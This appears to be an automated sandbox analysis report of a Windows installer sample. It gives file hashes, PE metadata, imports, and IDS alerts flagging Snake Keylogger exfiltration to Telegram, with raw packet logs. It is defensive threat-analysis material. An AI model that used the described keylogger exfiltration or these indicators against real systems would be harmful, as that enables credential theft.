Preview:	..........F.............................i.....................B.........................................b..Et.............................O...........h...............................................................................8..........n.....................w.................../.......\|.......'........,..........(...........................W......#..................................................................................................=..........................]..........q................................................[.................2....S............................"...................................$!..............................=.......................................[f.................................................................................................................V.............................w...................................................$.............................................................j...........h.............J..............

C:\Users\user\AppData\Local\Iw\prepares.pli

Download File

Process:	C:\Users\user\Desktop\V7OHj6ISEo.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Temp\nscEDE4.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\V7OHj6ISEo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 2CQ2zMn0hb.exe, Detection: malicious, Browse Filename: 6mGpn6kupm.exe, Detection: malicious, Browse Filename: v4nrZtP7K2.exe, Detection: malicious, Browse Filename: xXUnP7uCBJ.exe, Detection: malicious, Browse Filename: 4UQ5wnI389.exe, Detection: malicious, Browse Filename: ajRZflJ2ch.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: KO0q4biYfC.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nswEC8B.tmp

Download File

Process:	C:\Users\user\Desktop\V7OHj6ISEo.exe
File Type:	data
Category:	dropped
Size (bytes):	1516414
Entropy (8bit):	5.403456852648461
Encrypted:	false
SSDEEP:	24576:9n342ffgFtdo3xX3y4bz2lWwWo6rSTZy0nnP:h42fotdoBXbz2luo6rS1y6
MD5:	57DCA1ADDA449DE459FE757167934070
SHA1:	36CE4EB4ECCF73375A0ED40494E7ECAA3F329BB4
SHA-256:	E6736EE318EEDD24140486B6EF0AE6269601D149891C0D6BA8B5A28E1428931B
SHA-512:	91469514DD981A741E4C5BF1C864C2683C0FA64FF85001E5A958FB7F9CCBBB82245159178E7E26218B509715DD0236DF6C3992A30FDE9273282B6B39751886A8
Malicious:	false
Preview:	6......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...........z...h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.960085316194713
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	V7OHj6ISEo.exe
File size:	1'027'682 bytes
MD5:	44ca4d83095d7f0372c1eab439f633be
SHA1:	b90fdcf957fc294917a047608bb2188a1596e5e7
SHA256:	d7aca08687c1ffc0b01ad90f5500c968796bebf8b60995363c8d7c19be48c562
SHA512:	d81d6e6b625aae8bfce7a5972d6b5e41e101c330f1ca5221333d90013c1c1ded2cddede20aad64f61bb9e645068d28eeb256cceadb307bf49c3b284c98dd5ad3
SSDEEP:	24576:9jwKCNm+hbhARlNsfvUdQQIhf2cwCZLiSWfQOEy5Yx7tXv:V1CIMhKHdP3zCxHlhyqx7t/
TLSH:	E425334DC6E3DF07C696D136185967793E4A2E063A466BE33A906A3D3C70BC4D83C369
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F47E93E5E13h
push ebx
call 00007F47E93E90DDh
cmp eax, ebx
je 00007F47E93E5E09h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F47E93E9057h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F47E93E5DECh
push 0000000Ah
call 00007F47E93E90B0h
push 00000008h
call 00007F47E93E90A9h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F47E93E909Dh
cmp eax, ebx
je 00007F47E93E5E11h
push 0000001Eh
call eax
test eax, eax
je 00007F47E93E5E09h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:14:14.112061+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49970	142.250.186.110	443	TCP
2025-01-10T22:14:19.480720+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49972	132.226.8.169	80	TCP
2025-01-10T22:14:26.293285+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49972	132.226.8.169	80	TCP
2025-01-10T22:14:26.939576+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49974	149.154.167.220	443	TCP
2025-01-10T22:14:27.330649+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49974	149.154.167.220	443	TCP
2025-01-10T22:14:29.027759+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49975	132.226.8.169	80	TCP
2025-01-10T22:14:29.645099+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49976	149.154.167.220	443	TCP
2025-01-10T22:14:29.965995+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49976	149.154.167.220	443	TCP
2025-01-10T22:14:31.526788+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49978	149.154.167.220	443	TCP
2025-01-10T22:14:31.990956+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49978	149.154.167.220	443	TCP
2025-01-10T22:14:33.519198+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49980	149.154.167.220	443	TCP
2025-01-10T22:14:34.010413+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49980	149.154.167.220	443	TCP
2025-01-10T22:14:35.617891+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49982	149.154.167.220	443	TCP
2025-01-10T22:14:36.003361+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49982	149.154.167.220	443	TCP
2025-01-10T22:14:37.526401+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49984	149.154.167.220	443	TCP
2025-01-10T22:14:37.924010+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49984	149.154.167.220	443	TCP
2025-01-10T22:14:39.700762+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49986	149.154.167.220	443	TCP
2025-01-10T22:14:40.026689+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49986	149.154.167.220	443	TCP
2025-01-10T22:14:41.487017+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49988	149.154.167.220	443	TCP
2025-01-10T22:14:41.704936+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49988	149.154.167.220	443	TCP
2025-01-10T22:14:43.191974+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49990	149.154.167.220	443	TCP
2025-01-10T22:14:43.512462+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49990	149.154.167.220	443	TCP
2025-01-10T22:14:45.015199+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49992	149.154.167.220	443	TCP
2025-01-10T22:14:45.287305+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49992	149.154.167.220	443	TCP
2025-01-10T22:14:46.782618+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49994	149.154.167.220	443	TCP
2025-01-10T22:14:47.155119+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49994	149.154.167.220	443	TCP
2025-01-10T22:14:48.952941+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49996	149.154.167.220	443	TCP
2025-01-10T22:14:49.270756+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49996	149.154.167.220	443	TCP
2025-01-10T22:14:50.762232+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49998	149.154.167.220	443	TCP
2025-01-10T22:14:51.051763+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49998	149.154.167.220	443	TCP
2025-01-10T22:14:52.879449+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	50000	149.154.167.220	443	TCP
2025-01-10T22:14:53.244640+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	50000	149.154.167.220	443	TCP
2025-01-10T22:14:55.159692+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	50002	149.154.167.220	443	TCP
2025-01-10T22:14:55.523764+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	50002	149.154.167.220	443	TCP
2025-01-10T22:14:57.061818+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	50004	149.154.167.220	443	TCP
2025-01-10T22:14:57.378573+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	50004	149.154.167.220	443	TCP
2025-01-10T22:14:58.855354+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	50006	149.154.167.220	443	TCP
2025-01-10T22:14:59.124615+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	50006	149.154.167.220	443	TCP
2025-01-10T22:15:00.706930+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	50008	149.154.167.220	443	TCP
2025-01-10T22:15:00.971800+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	50008	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:14:12.894433022 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:12.894494057 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:12.894587040 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:12.905000925 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:12.905019999 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:13.571346998 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:13.571487904 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:13.572138071 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:13.572215080 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:13.808912992 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:13.808952093 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:13.809921026 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:13.809993982 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:13.814753056 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:13.855333090 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:14.112103939 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:14.112181902 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:14.112215996 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:14.112253904 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:14.112380981 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:14.112451077 CET	443	49970	142.250.186.110	192.168.2.7
Jan 10, 2025 22:14:14.112503052 CET	49970	443	192.168.2.7	142.250.186.110
Jan 10, 2025 22:14:14.137974977 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:14.138015985 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:14.138072968 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:14.138463974 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:14.138473988 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:14.851581097 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:14.851739883 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:14.856306076 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:14.856312990 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:14.856708050 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:14.859436035 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:14.859925032 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:14.903321981 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.360663891 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.360764027 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.366533041 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.366605997 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.379045963 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.379126072 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.379136086 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.379182100 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.385421991 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.385512114 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.447252989 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.447355986 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.447391033 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.447452068 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.447480917 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.447532892 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.450107098 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.450165987 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.450193882 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.450242996 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.456161976 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.456233025 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.456249952 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.456301928 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.462304115 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.462372065 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.462400913 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.462450981 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.468744040 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.468813896 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.468832016 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.468883038 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.476449013 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.476521015 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.476533890 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.476581097 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.483935118 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.484004021 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.484050989 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.484102964 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.487488031 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.487549067 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.487574100 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.487623930 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.493411064 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.493640900 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.493649960 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.493772030 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.499094963 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.499170065 CET	49971	443	192.168.2.7	142.250.185.65
Jan 10, 2025 22:14:17.499187946 CET	443	49971	142.250.185.65	192.168.2.7
Jan 10, 2025 22:14:17.499237061 CET	49971	443	192.168.2.7	142.250.185.65
